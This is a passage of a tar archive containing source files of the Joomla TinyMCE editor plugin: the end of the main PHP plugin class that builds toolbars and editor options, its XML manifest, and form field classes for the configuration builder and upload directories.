			// 'spellchecker'   => array('label' => 'Spellcheck', 'plugin' => 'spellchecker'),
		);

		return $buttons;
	}

	/**
	 * Return toolbar presets
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getToolbarPreset()
	{
		$preset = array();

		$preset['simple'] = array(
			'menu' => array(),
			'toolbar1' => array(
				'bold', 'underline', 'strikethrough', '|',
				'undo', 'redo', '|',
				'bullist', 'numlist', '|',
				'pastetext'
			),
			'toolbar2' => array(),
		);

		$preset['medium'] = array(
			'menu' => array('edit', 'insert', 'view', 'format', 'table', 'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline', 'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
				'formatselect', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor', 'code', '|',
				'hr', 'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'pastetext' , 'preview'
			),
			'toolbar2' => array(),
		);

		$preset['advanced'] = array(
			'menu'     => array('edit', 'insert', 'view', 'format', 'table', 'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline', 'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
				'styleselect', '|',
				'formatselect', 'fontselect', 'fontsizeselect', '|',
				'searchreplace', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor', 'image', '|',
				'code', '|',
				'forecolor', 'backcolor', '|',
				'fullscreen', '|',
				'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'emoticons', 'media', 'hr', 'ltr', 'rtl', '|',
				'cut', 'copy', 'paste', 'pastetext', '|',
				'visualchars', 'visualblocks', 'nonbreaking', 'blockquote', 'template', '|',
				'print', 'preview', 'codesample', 'insertdatetime', 'removeformat',
			),
			'toolbar2' => array(),
		);

		return $preset;
	}

	/**
	 * Gets the plugin extension id.
	 *
	 * @return  int  The plugin id.
	 *
	 * @since   3.7.0
	 */
	private function getPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select($db->quoteName('extension_id'))
					->from($db->quoteName('#__extensions'))
					->where($db->quoteName('folder') . ' = ' . $db->quote($this->_type))
					->where($db->quoteName('element') . ' = ' . $db->quote($this->_name));
		$db->setQuery($query);

		return (int) $db->loadResult();
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea. If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 *
	 * @since  3.7.0
	 *
	 * @deprecated 4.0
	 */
	private function onDisplayLegacy(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/', '_', $id);
		$nameGroup     = explode('[', preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="editor js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea', $textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare instance specific options, actually the ext-buttons
		if (empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script', 'editors/tinymce/tiny-close.min.js', array('version' => 'auto', 'relative' => true), array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults'] = true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons']    = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options, false);
		}

		// Setup Default options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$app      = JFactory::getApplication();
		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$mode     = (int) $this->params->get('mode', 1);
		$theme    = 'modern';

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);


		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ? 'skin_admin' : 'skin';

		if ((int) $this->params->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $this->params->get($side, 0)]);
		}

		$langMode        = $this->params->get('lang_mode', 0);
		$langPrefix      = $this->params->get('lang_code', 'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . "/media/editors/tinymce/langs/" . $language->getTag() . ".js"))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT . "/media/editors/tinymce/langs/" . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . ".js"))
			{
				$langPrefix = substr($language->getTag(), 0, strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = "en";
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $this->params->get('content_css', 1);
		$content_css_custom = $this->params->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select('template')
					->from('#__template_styles')
					->where('client_id=0 AND home=' . $db->quote('1'));

		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return;
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template . '/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to $content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template . '/css/' . $content_css_custom))
				{
					$msg = sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'), $content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template folder
				if (!file_exists($templates_path . '/' . $template . '/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path . '/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'), JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) . '/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template . '/css/editor.css';
				}
			}
		}

		$ignore_filter = false;

		// Text filtering
		if ($this->params->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ? $filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ? $filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray : array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray : array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist, $attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements =	implode(',', array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  = $this->params->get('invalid_elements', 'script,applet,iframe');
			$extended_elements = $this->params->get('extended_elements', '');
			$valid_elements    = $this->params->get('valid_elements', '');
		}

		// Advanced Options
		$access = $user->getAuthorisedViewLevels();

		// Flip for performance, so we can direct check for the key isset($access[$key])
		$access = array_flip($access);

		$html_height = $this->params->get('html_height', '550');
		$html_width  = $this->params->get('html_width', '');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// Image advanced options
		$image_advtab = $this->params->get('image_advtab', true);

		if (isset($access[$image_advtab]))
		{
			$image_advtab = true;
		}
		else
		{
			$image_advtab = false;
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = $this->params->get('resizing', '1');
		$resize_horizontal = $this->params->get('resize_horizontal', '1');

		if ($resizing || $resizing == 'true')
		{
			if ($resize_horizontal || $resize_horizontal == 'true')
			{
				$resizing = 'both';
			}
			else
			{
				$resizing = true;
			}
		}
		else
		{
			$resizing = false;
		}

		$toolbar1_add   = array();
		$toolbar2_add   = array();
		$toolbar3_add   = array();
		$toolbar4_add   = array();
		$elements       = array();
		$plugins        = array(
			'autolink',
			'lists',
			'image',
			'charmap',
			'print',
			'preview',
			'anchor',
			'pagebreak',
			'code',
			'save',
			'textcolor',
			'colorpicker',
			'importcss');
		$toolbar1_add[] = 'bold';
		$toolbar1_add[] = 'italic';
		$toolbar1_add[] = 'underline';
		$toolbar1_add[] = 'strikethrough';

		// Alignment buttons
		$alignment = $this->params->get('alignment', 1);

		if (isset($access[$alignment]))
		{
			$toolbar1_add[] = '|';
			$toolbar1_add[] = 'alignleft';
			$toolbar1_add[] = 'aligncenter';
			$toolbar1_add[] = 'alignright';
			$toolbar1_add[] = 'alignjustify';
		}

		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'styleselect';
		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'formatselect';

		// Fonts
		$fonts = $this->params->get('fonts', 1);

		if (isset($access[$fonts]))
		{
			$toolbar1_add[] = 'fontselect';
			$toolbar1_add[] = 'fontsizeselect';
		}

		// Search & replace
		$searchreplace = $this->params->get('searchreplace', 1);

		if (isset($access[$searchreplace]))
		{
			$plugins[]      = 'searchreplace';
			$toolbar2_add[] = 'searchreplace';
		}

		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'bullist';
		$toolbar2_add[] = 'numlist';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'outdent';
		$toolbar2_add[] = 'indent';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'undo';
		$toolbar2_add[] = 'redo';
		$toolbar2_add[] = '|';

		// Insert date and/or time plugin
		$insertdate = $this->params->get('insertdate', 1);

		if (isset($access[$insertdate]))
		{
			$plugins[]      = 'insertdatetime';
			$toolbar4_add[] = 'inserttime';
		}

		// Link plugin
		$link = $this->params->get('link', 1);

		if (isset($access[$link]))
		{
			$plugins[]      = 'link';
			$toolbar2_add[] = 'link';
			$toolbar2_add[] = 'unlink';
		}

		$toolbar2_add[] = 'anchor';
		$toolbar2_add[] = 'image';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'code';

		// Colors
		$colors = $this->params->get('colors', 1);

		if (isset($access[$colors]))
		{
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'forecolor,backcolor';
		}

		// Fullscreen
		$fullscreen = $this->params->get('fullscreen', 1);

		if (isset($access[$fullscreen]))
		{
			$plugins[]      = 'fullscreen';
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'fullscreen';
		}

		// Table
		$table = $this->params->get('table', 1);

		if (isset($access[$table]))
		{
			$plugins[]      = 'table';
			$toolbar3_add[] = 'table';
			$toolbar3_add[] = '|';
		}

		$toolbar3_add[] = 'subscript';
		$toolbar3_add[] = 'superscript';
		$toolbar3_add[] = '|';
		$toolbar3_add[] = 'charmap';

		// Emotions
		$smilies = $this->params->get('smilies', 1);

		if (isset($access[$smilies]))
		{
			$plugins[]      = 'emoticons';
			$toolbar3_add[] = 'emoticons';
		}

		// Media plugin
		$media = $this->params->get('media', 1);

		if (isset($access[$media]))
		{
			$plugins[]      = 'media';
			$toolbar3_add[] = 'media';
		}

		// Horizontal line
		$hr = $this->params->get('hr', 1);

		if (isset($access[$hr]))
		{
			$plugins[]      = 'hr';
			$elements[]     = 'hr[id|title|alt|class|width|size|noshade]';
			$toolbar3_add[] = 'hr';
		}
		else
		{
			$elements[] = 'hr[id|class|title|alt]';
		}

		// RTL/LTR buttons
		$directionality = $this->params->get('directionality', 1);

		if (isset($access[$directionality]))
		{
			$plugins[]      = 'directionality';
			$toolbar3_add[] = 'ltr rtl';
		}

		if ($extended_elements != "")
		{
			$elements = explode(',', $extended_elements);
		}

		$toolbar4_add[] = 'cut';
		$toolbar4_add[] = 'copy';

		// Paste
		$paste = $this->params->get('paste', 1);

		if (isset($access[$paste]))
		{
			$plugins[]      = 'paste';
			$toolbar4_add[] = 'paste';
		}

		$toolbar4_add[] = '|';

		// Visualchars
		$visualchars = $this->params->get('visualchars', 1);

		if (isset($access[$visualchars]))
		{
			$plugins[]      = 'visualchars';
			$toolbar4_add[] = 'visualchars';
		}

		// Visualblocks
		$visualblocks = $this->params->get('visualblocks', 1);

		if (isset($access[$visualblocks]))
		{
			$plugins[]      = 'visualblocks';
			$toolbar4_add[] = 'visualblocks';
		}

		// Non-breaking
		$nonbreaking = $this->params->get('nonbreaking', 1);

		if (isset($access[$nonbreaking]))
		{
			$plugins[]      = 'nonbreaking';
			$toolbar4_add[] = 'nonbreaking';
		}

		// Blockquote
		$blockquote = $this->params->get('blockquote', 1);

		if (isset($access[$blockquote]))
		{
			$toolbar4_add[] = 'blockquote';
		}

		// Template
		$template = $this->params->get('template', 1);
		$templates = array();

		if (isset($access[$template]))
		{
			$plugins[]      = 'template';
			$toolbar4_add[] = 'template';

			// Note this check for the template_list.js file will be removed in Joomla 4.0
			if (is_file(JPATH_ROOT . "/media/editors/tinymce/templates/template_list.js"))
			{
				// If using the legacy file we need to include and input the files the new way
				$str = file_get_contents(JPATH_ROOT . "/media/editors/tinymce/templates/template_list.js");

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values["0"]["0"], '"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], ' " '),
						'description' => trim($final_result['2'], ' " '),
						'url' => JUri::root(true) . '/' . trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT . '/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) . '/media/editors/tinymce/templates/' . $filename . '.html',
						);
					}
				}
			}
		}

		// Print
		$print = $this->params->get('print', 1);

		if (isset($access[$print]))
		{
			$plugins[]      = 'print';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'print';
			$toolbar4_add[] = 'preview';
		}

		// Spellchecker
		$spell = $this->params->get('spell', 0);

		if (isset($access[$spell]))
		{
			$plugins[]      = 'spellchecker';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'spellchecker';
		}

		// Wordcount
		$wordcount = $this->params->get('wordcount', 1);

		if (isset($access[$wordcount]))
		{
			$plugins[] = 'wordcount';
		}

		// Advlist
		$advlist = $this->params->get('advlist', 1);

		if (isset($access[$advlist]))
		{
			$plugins[] = 'advlist';
		}

		// Codesample
		$advlist = $this->params->get('code_sample', 1);

		if (isset($access[$advlist]))
		{
			$plugins[]      = 'codesample';
			$toolbar4_add[] = 'codesample';
		}

		// Autosave
		$autosave = $this->params->get('autosave', 1);

		if (isset($access[$autosave]))
		{
			$plugins[] = 'autosave';
		}

		// Context menu
		$contextmenu = $this->params->get('contextmenu', 1);

		if (isset($access[$contextmenu]))
		{
			$plugins[] = 'contextmenu';
		}

		$custom_plugin = $this->params->get('custom_plugin', '');

		if ($custom_plugin != "")
		{
			$plugins[] = $custom_plugin;
		}

		$custom_button = $this->params->get('custom_button', '');

		if ($custom_button != "")
		{
			$toolbar4_add[] = $custom_button;
		}

		// Drag and drop Images
		$externalPlugins = array();
		$allowImgPaste   = false;
		$dragdrop        = $this->params->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create', 'com_media'))
		{
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() . 'index.php?option=com_media&task=file.upload&tmpl=component&'
								. $session->getName() . '=' . $session->getId()
								. '&' . JSession::getFormToken() . '=1'
								. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, 0, 'UTF-8', false);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) != '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] = $this->params->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;

			$externalPlugins = array(
				array(
					'jdragdrop' => HTMLHelper::_(
						'script',
						'editors/tinymce/plugins/dragdrop/plugin.min.js',
						array('relative' => true, 'version' => 'auto', 'pathOnly' => true)
					),
				),
			);
		}

		// Prepare config variables
		$plugins  = implode(',', $plugins);
		$elements = implode(',', $elements);

		// Prepare config variables
		$toolbar1 = implode(' ', $toolbar1_add) . ' | '
					. implode(' ', $toolbar2_add) . ' | '
					. implode(' ', $toolbar3_add) . ' | '
					. implode(' ', $toolbar4_add);

		// See if mobileVersion is activated
		$mobileVersion = $this->params->get('mobile', 0);

		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) . '/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  => $this->params->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			// URL
			'relative_urls'      => (bool) $this->params->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'externalPlugins'    => json_encode($externalPlugins),
		)
		);

		if ($this->params->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($mobileVersion)
		{
			$mode = 0;
		}

		switch ($mode)
		{
			case 0: /* Simple mode*/
				$scriptOptions['menubar']  = false;
				$scriptOptions['toolbar1'] = 'bold italic underline strikethrough | undo redo | bullist numlist | code';
				$scriptOptions['plugins']  = ' code';

				break;

			case 1:
			default: /* Advanced mode*/
				$toolbar1 = "bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | formatselect | bullist numlist "
							. "| outdent indent | undo redo | link unlink anchor code | hr table | subscript superscript | charmap";

				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = 'table link code hr charmap autolink lists importcss ';
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] = 'newdocument';
				$scriptOptions['importcss_append']  = true;
				$scriptOptions['height'] = $html_height;
				$scriptOptions['width']  = $html_width;
				$scriptOptions['resize'] = $resizing;

				break;

			case 2: /* Extended mode*/
				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = $plugins;
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] = 'newdocument';
				$scriptOptions['rel_list'] = array(
					array('title' => 'None', 'value' => ''),
					array('title' => 'Alternate', 'value' => 'alternate'),
					array('title' => 'Author', 'value' => 'author'),
					array('title' => 'Bookmark', 'value' => 'bookmark'),
					array('title' => 'Help', 'value' => 'help'),
					array('title' => 'License', 'value' => 'license'),
					array('title' => 'Lightbox', 'value' => 'lightbox'),
					array('title' => 'Next', 'value' => 'next'),
					array('title' => 'No Follow', 'value' => 'nofollow'),
					array('title' => 'No Referrer', 'value' => 'noreferrer'),
					array('title' => 'Prefetch', 'value' => 'prefetch'),
					array('title' => 'Prev', 'value' => 'prev'),
					array('title' => 'Search', 'value' => 'search'),
					array('title' => 'Tag', 'value' => 'tag'),
				);
				$scriptOptions['importcss_append'] = true;
				$scriptOptions['image_advtab']     = $image_advtab;
				$scriptOptions['height']    = $html_height;
				$scriptOptions['width']     = $html_width;
				$scriptOptions['resize']    = $resizing;
				$scriptOptions['templates'] = $templates;

				break;
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration(".mce-in { padding: 5px 10px !important;}");
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                  editors/tinymce/tinymce.xml                                                                         0000705                 00000003267 15242051521 0012062 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_tinymce</name>
	<version>4.5.12</version>
	<creationDate>2005-2020</creationDate>
	<author>Tiny Technologies, Inc</author>
	<authorEmail>N/A</authorEmail>
	<authorUrl>https://www.tiny.cloud</authorUrl>
	<copyright>Tiny Technologies, Inc</copyright>
	<license>LGPL</license>
	<description>PLG_TINY_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tinymce">tinymce.php</filename>
		<folder>fields</folder>
		<folder>form</folder>
	</files>
	<media destination="editors" folder="media">
		<folder>tinymce</folder>
	</media>
	<languages>
		<language tag="en-GB">en-GB.plg_editors_tinymce.ini</language>
		<language tag="en-GB">en-GB.plg_editors_tinymce.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
				       name="configuration"
				       type="tinymcebuilder"
				       hiddenLabel="true"
				 />
			</fieldset>

			<fieldset name="advanced" label="PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS">
				<field
					name="sets_amount"
					type="number"
					label="PLG_TINY_FIELD_NUMBER_OF_SETS_LABEL"
					description="PLG_TINY_FIELD_NUMBER_OF_SETS_DESC"
					filter="int"
					validate="number"
					min="3"
					default="3"
				/>

				<field
					name="html_height"
					type="text"
					label="PLG_TINY_FIELD_HTMLHEIGHT_LABEL"
					description="PLG_TINY_FIELD_HTMLHEIGHT_DESC"
					default="550px"
				/>

				<field
					name="html_width"
					type="text"
					label="PLG_TINY_FIELD_HTMLWIDTH_LABEL"
					description="PLG_TINY_FIELD_HTMLWIDTH_DESC"
					default=""
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                         editors/tinymce/field/tinymcebuilder.php                                                            0000705                 00000011055 15242051521 0014475 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Form Field class for the TinyMCE editor.
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 * @since       3.7.0
 */
class JFormFieldTinymceBuilder extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $type = 'tinymcebuilder';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $layout = 'plugins.editors.tinymce.field.tinymcebuilder';

	/**
	 * The prepared layout data
	 *
	 * @var    array
	 * @since  3.7.0
	 */
	protected $layoutData = array();

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since  3.7.0
	 */
	protected function getLayoutData()
	{
		if (!empty($this->layoutData))
		{
			return $this->layoutData;
		}

		$data       = parent::getLayoutData();
		$paramsAll  = (object) $this->form->getValue('params');
		$setsAmount = empty($paramsAll->sets_amount) ? 3 : $paramsAll->sets_amount;

		if (empty($data['value']))
		{
			$data['value'] = array();
		}

		// Get the plugin
		require_once JPATH_PLUGINS . '/editors/tinymce/tinymce.php';

		$menus = array(
			'edit'   => array('label' => 'Edit'),
			'insert' => array('label' => 'Insert'),
			'view'   => array('label' => 'View'),
			'format' => array('label' => 'Format'),
			'table'  => array('label' => 'Table'),
			'tools'  => array('label' => 'Tools'),
		);

		$data['menus']         = $menus;
		$data['menubarSource'] = array_keys($menus);
		$data['buttons']       = PlgEditorTinymce::getKnownButtons();
		$data['buttonsSource'] = array_keys($data['buttons']);
		$data['toolbarPreset'] = PlgEditorTinymce::getToolbarPreset();
		$data['setsAmount']    = $setsAmount;

		// Get array of sets names
		for ($i = 0; $i < $setsAmount; $i++)
		{
			$data['setsNames'][$i] = JText::sprintf('PLG_TINY_SET_TITLE', $i);
		}

		// Prepare the forms for each set
		$setsForms  = array();
		$formsource = JPATH_PLUGINS . '/editors/tinymce/form/setoptions.xml';

		// Preload an old params for B/C
		$setParams = new stdClass;
		if (!empty($paramsAll->html_width) && empty($paramsAll->configuration['setoptions']))
		{
			$plugin = JPluginHelper::getPlugin('editors', 'tinymce');

			JFactory::getApplication()->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING', '#'), 'warning');

			if (is_object($plugin) && !empty($plugin->params))
			{
				$setParams = (object) json_decode($plugin->params);
			}
		}

		// Collect already used groups
		$groupsInUse = array();

		// Prepare the Set forms, for the set options
		foreach (array_keys($data['setsNames']) as $num)
		{
			$formname = 'set.form.' . $num;
			$control  = $this->name . '[setoptions][' . $num . ']';

			$setsForms[$num] = JForm::getInstance($formname, $formsource, array('control' => $control));

			// Check whether we already have saved values or it first time or even old params
			if (empty($this->value['setoptions'][$num]))
			{
				$formValues = $setParams;

				/*
				 * Predefine group:
				 * Set 0: for Administrator, Editor, Super Users (4,7,8)
				 * Set 1: for Registered, Manager (2,6), all else are public
				 */
				$formValues->access = !$num ? array(4,7,8) : ($num === 1 ? array(2,6) : array());

				// Assign Public to the new Set, but only when it not in use already
				if (empty($formValues->access) && !in_array(1, $groupsInUse))
				{
					$formValues->access = array(1);
				}
			}
			else
			{
				$formValues = (object) $this->value['setoptions'][$num];
			}

			// Collect already used groups
			if (!empty($formValues->access))
			{
				$groupsInUse = array_merge($groupsInUse, $formValues->access);
			}

			// Bind the values
			$setsForms[$num]->bind($formValues);
		}

		krsort($data['setsNames']);

		$data['setsForms'] = $setsForms;

		// Check for TinyMCE language file
		$language      = JFactory::getLanguage();
		$languageFile1 = 'media/editors/tinymce/langs/' . $language->getTag() . '.js';
		$languageFile2 = 'media/editors/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . '.js';

		$data['languageFile'] = '';

		if (file_exists(JPATH_ROOT . '/' . $languageFile1))
		{
			$data['languageFile'] = $languageFile1;
		}
		elseif (file_exists(JPATH_ROOT . '/' . $languageFile2))
		{
			$data['languageFile'] = $languageFile2;
		}

		$this->layoutData = $data;

		return $data;
	}

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   editors/tinymce/field/uploaddirs.php                                                                0000705                 00000004550 15242051521 0013626 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.form.helper');

JFormHelper::loadFieldClass('folderlist');

/**
 * Generates the list of directories  available for drag and drop upload.
 *
